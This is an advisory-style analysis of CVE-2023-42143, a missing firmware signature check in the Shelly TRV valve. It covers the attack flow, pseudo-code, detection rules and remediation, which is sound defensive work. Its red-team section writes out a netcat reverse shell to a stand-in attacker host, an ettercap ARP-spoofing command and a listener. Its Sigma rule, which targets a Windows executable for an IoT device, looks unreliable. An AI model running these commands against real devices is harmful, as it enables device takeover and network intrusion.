CVE-2023-42143

Executive Summary

CVE-2023-42143 identifies a critical missing integrity check vulnerability in the Shelly TRV (Thermostatic Radiator Valve) firmware version 20220811-152343/v2.1.8@5afc928c. The flaw allows an attacker to redirect the device to an attacker-controlled server during the firmware update process, serving a manipulated firmware file. This effectively creates a backdoor, granting the attacker persistent control over the device. The vulnerability is classified under CWE-353 (Missing Integrity Check) and is associated with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the potential for full device compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT device (Shelly TRV). The supply chain risk involves the firmware update mechanism, where the device fails to verify the integrity of the firmware file before installation. An attacker can intercept or redirect the update process to deliver a malicious firmware, compromising the device and potentially the network it resides on.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attacker can exploit the vulnerability remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – The compromised device can affect other components.
• Confidentiality (C): High (H) – Full device compromise.
• Integrity (I): High (H) – Firmware can be replaced.
• Availability (A): High (H) – Device can be bricked or controlled.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Estimated Score: 10.0 (Critical)

Threat Level: Critical. The vulnerability allows remote, unauthenticated attackers to install malicious firmware, leading to full device takeover. This can be used for lateral movement within a network, data exfiltration, or as part of a botnet.

Deep Dive & Mechanics

The Shelly TRV is an IoT device that controls radiator valves. It supports over-the-air (OTA) firmware updates. The vulnerability lies in the firmware update process, where the device does not verify the integrity (e.g., cryptographic signature) of the firmware file before installation.

Attack Flow:

1. Reconnaissance: The attacker identifies Shelly TRV devices on the network (e.g., via Shodan or local scanning).
2. Interception: The attacker sets up a rogue firmware update server (e.g., using a tool like evil-ssdp or ARP spoofing) to intercept the device's update request.
3. Redirection: The device is redirected to the attacker's server instead of the legitimate Shelly update server.
4. Malicious Firmware Delivery: The attacker serves a manipulated firmware file (e.g., with a backdoor or rootkit).
5. Installation: The device installs the malicious firmware without integrity checks, granting the attacker persistent access.

Root Cause: The firmware update mechanism lacks a cryptographic signature verification step. The device trusts any firmware file served during the update process, allowing an attacker to inject arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The firmware update process likely uses a simple HTTP GET request to fetch the firmware file and writes it directly to flash without validation.

# Vulnerable pseudo-code
def update_firmware(url):
    response = requests.get(url)
    if response.status_code == 200:
        write_to_flash(response.content)  # No integrity check
        reboot()

Patched Code (Expected): A patched version would include signature verification before installation.

# Patched pseudo-code
def update_firmware(url):
    response = requests.get(url)
    if response.status_code == 200:
        firmware = response.content
        if verify_signature(firmware, public_key):
            write_to_flash(firmware)
            reboot()
        else:
            log_error("Invalid firmware signature")

Note: No official patch has been released. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Shelly TRV device with vulnerable firmware (v2.1.8).
• Network access to the device (e.g., same LAN).
• Attacker-controlled server (e.g., Kali Linux with Python).

Exploitation Steps:

1. Set up a malicious firmware server:

   # Create a malicious firmware file (e.g., with a reverse shell)
   # Use a tool like 'firmware-mod-kit' to modify the original firmware
   # Or create a simple script that opens a backdoor
   echo "#!/bin/sh" > malicious_firmware.sh
   echo "nc -e /bin/sh attacker_ip 4444 &" >> malicious_firmware.sh
   # Serve the file via HTTP
   python3 -m http.server 80
   

2. Redirect the device to your server:

   • Use ARP spoofing to intercept the device's update request.
   • Or modify DNS responses to point the update domain to your IP.

   # Example using ettercap for ARP spoofing
   ettercap -T -M arp:remote /device_ip/ /gateway_ip/
   

3. Trigger the update:

   • Send a crafted HTTP request to the device to initiate an update.
   • Or wait for the device to check for updates automatically.

4. Gain access:

   • The device downloads and installs the malicious firmware.
   • Connect to the reverse shell:

   nc -lvnp 4444
   

No Exploit-DB code provided.

Blue Team

Detection:

• Monitor for unusual HTTP requests to firmware update endpoints.
• Detect ARP spoofing or DNS spoofing attacks.
• Use network segmentation to isolate IoT devices.

Hunting:

• Look for devices communicating with unknown IPs on port 80/443.
• Check for firmware version mismatches or unexpected reboots.

Lab Setup:

• Use a Shelly TRV in a sandboxed network.
• Simulate the attack with a controlled malicious server.
• Monitor network traffic with Wireshark.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown IPs on port 80/443 during firmware update.
  • DNS queries for update domains resolving to unexpected IPs.
  • ARP spoofing indicators (e.g., duplicate IP addresses).
• Host:
  • Unusual processes running on the device (e.g., reverse shell).
  • Modified firmware hash (compare with known good hash).
  • Unexpected open ports (e.g., 4444).
• File:
  • Firmware file with missing or invalid signature.
  • Presence of backdoor scripts in the firmware.

Detection Engineering

YARA Rule

rule CVE_2023_42143_Shelly_TRV_Malicious_Firmware {
    meta:
        description = "Detects malicious firmware for Shelly TRV exploiting CVE-2023-42143"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-42143"
    strings:
        $s1 = "nc -e /bin/sh" ascii wide
        $s2 = "reverse_shell" ascii wide
        $s3 = "backdoor" ascii wide
        $s4 = "firmware_update" ascii wide
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2023-42143 - Shelly TRV Firmware Update to Unknown IP
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Shelly TRV devices connecting to unknown IPs during firmware update
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: 'shelly_update.exe'
        DestinationIp|not contains: '192.168.'
        DestinationPort: 80
    condition: selection
falsepositives:
    - Legitimate firmware updates from new servers
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-42143 - Shelly TRV Firmware Update to Unknown IP"; flow:to_server; content:"GET /firmware"; http_uri; content:"shelly"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Shelly TRV devices on a separate VLAN with strict firewall rules.
2. Disable automatic firmware updates until a patch is available.
3. Monitor network traffic for unusual update requests.

Long-term Fix:

• Vendor Patch: Shelly must release a firmware update that includes cryptographic signature verification for firmware files.
• Workaround: Implement a network-level proxy that validates firmware integrity before allowing the device to download it.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Use network monitoring tools to detect ARP/DNS spoofing.

Valters IT